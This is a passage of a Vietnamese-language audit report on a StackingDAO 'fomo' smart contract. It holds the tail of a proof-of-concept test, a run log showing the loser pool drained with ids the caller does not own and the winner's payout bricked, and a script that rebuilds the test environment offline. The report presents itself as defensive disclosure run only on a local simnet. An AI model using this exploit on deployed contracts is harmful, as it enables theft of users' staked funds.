    console.log("treasure (book)", treasure.toString(), "real balance", real.toString());

    const r = simnet.callPublicFn("fomo", "retrieve-loser", [Cl.uint(0)], attacker).result;
    console.log("retrieve-loser ", JSON.stringify(r));
    expect(r).toBeErr(Cl.uint(1)); // ft-transfer? : not enough stSTX
    expect(ststx(attacker)).toBe(0n);
  });
});
```

PHẦN B

Phụ lục B — Log đầy đủ của lần chạy

```
 RUN  npx vitest run tests/poc/
stdout | tests/poc/fomo_poc_test.ts > FOMO retrieve-loser > drains the loser pool with ids the caller
      does not own, and bricks the winner
treasure          3600000
loser pool (25%)  900000
per call          450000
attacker received 1350000
attacker stSTX    1350000
fomo stSTX before 3600000
fomo stSTX after  2250000
retrieve-winner   {"type":8,"value":{"type":1,"value":"1"}}
short by          270000
 ✓ tests/poc/fomo_poc_test.ts  (1 test) 438ms
stdout | tests/poc/fomo_scale_test.ts > FOMO: scale, atomicity and the phantom prize > N=5, no phantom
      prize: one tx via a helper contract takes the whole pot
sweep result     {"type":7,"value":{"type":11,"list":[{"type":1,"value":"406250"},{"type":1,"value":"406
      250"},{"type":1,"value":"406250"},{"type":1,"value":"406250"},{"type":1,"value":"406250"}]}}
paid in          6500000
attacker got     2031250 (one tx, no claim, no capital)
left in contract 4468750
winner prize     4550000
stdout | tests/poc/fomo_scale_test.ts > FOMO: scale, atomicity and the phantom prize > with the shipped
      100 stSTX phantom prize, the same sweep reverts until the pot is big
treasure (book) 103600000 real balance 3600000
retrieve-loser  {"type":8,"value":{"type":1,"value":"1"}}
 ✓ tests/poc/fomo_scale_test.ts  (2 tests) 353ms
 Test Files  2 passed (2)
      Tests  3 passed (3)
   Start at  05:07:05
   Duration  3.80s (transform 142ms, setup 111ms, collect 64ms, tests 791ms, environment 2.41s, prepare
      243ms)
```

Log được chụp nguyên văn từ `npx vitest run tests/poc/` *trên bản clone sạch tại commit a8d7d2a. Không có dòng nào được biên tập.*

PHẦN C

Phụ lục C — Môi trường tái lập

Script dưới đây dựng lại toàn bộ môi trường từ một thư mục trống: clone repo, vá 3 chỗ để chạy offline, cài toolchain, copy PoC. Nó không sửa logic Clarity.

```
#!/usr/bin/env bash
# Reproduce the StackingDAO PoCs offline.
#
#   ./audit/stackingdao/prepare.sh /home/user/sdao
#
# Why the script patches the repo at all: the upstream Clarinet.toml declares 20
# mainnet contracts under [[project.requirements]], and simnet tries to fetch them
# from api.hiro.so. This sandbox cannot reach that host, so the requirements are
# dropped, together with the contracts that only exist to read on-chain data.
# Only one thing in the Clarity code itself is changed: the mainnet pox-4
# principal becomes .pox-4-mock. The `is-in-mainnet` branch never runs in simnet,
# so behaviour is unchanged.
set -euo pipefail

DIR="${1:-/home/user/sdao}"
REPO="https://github.com/StackingDAO/contracts.git"
HERE="$(cd "$(dirname "$0")" && pwd)"

if [ ! -d "$DIR/.git" ]; then
  git clone --depth 1 "$REPO" "$DIR"
fi
cd "$DIR"

# 1. drop every mainnet requirement -- the only thing that makes simnet hit the network
python3 - <<'PY'
import re
s = open('Clarinet.toml').read()
s = re.sub(r"\[\[project\.requirements\]\]\ncontract_id = \"[^\"]+\"\n\n?", "", s)
open('Clarinet.toml', 'w').write(s)
PY

# 2. mainnet pox-4 -> mock (the is-in-mainnet branch is dead code under simnet)
grep -rl "'SP000000000000000000002Q6VF78.pox-4" contracts --include=*.clar \
  | xargs -r sed -i "s/'SP000000000000000000002Q6VF78\.pox-4/.pox-4-mock/g"

# 3. drop contracts that only read on-chain data (block-info-*, protocol-*, jobs, swap)
python3 - <<'PY'
import re, subprocess
off = subprocess.run(
    ["bash", "-c",
     r"""grep -rl "'SP[0-9A-Z]\{20,\}\." contracts --include=*.clar | sed 's|.*/||; s|\.clar$||'"""],
    capture_output=True, text=True).stdout.split()
extra = {"stacking-dao-genesis-nft-minter", "stacking-dao-genesis-nft-minter-v2", "stacking-dao-genesis-nft"}
blocks = re.split(r'(?m)^(?=\[)', open('Clarinet.toml').read())
```

```
out = [b for b in blocks
       if not (m := re.match(r'\[contracts\.([a-zA-Z0-9_-]+)\]', b)) or (m.group(1) not in set(off) | extra)]
open('Clarinet.toml', 'w').write(''.join(out))
PY

# 4. toolchain
npm ci --no-audit --no-fund
npm i --no-save --no-audit --no-fund @rollup/rollup-linux-x64-gnu

# 5. PoCs
mkdir -p tests/poc
cp "$HERE"/fomo_*.ts tests/poc/

echo
echo "run:"
echo "  cd $DIR && npx vitest run tests/poc/"
```

Báo cáo được lập ngày 30/10/2026 cho mục đích phòng thủ và sửa lỗi. Mã PoC chỉ chạy trên simnet cục bộ với dữ liệu tự tạo; không có giao dịch nào được gửi lên mainnet, không có ví thật nào bị ảnh hưởng.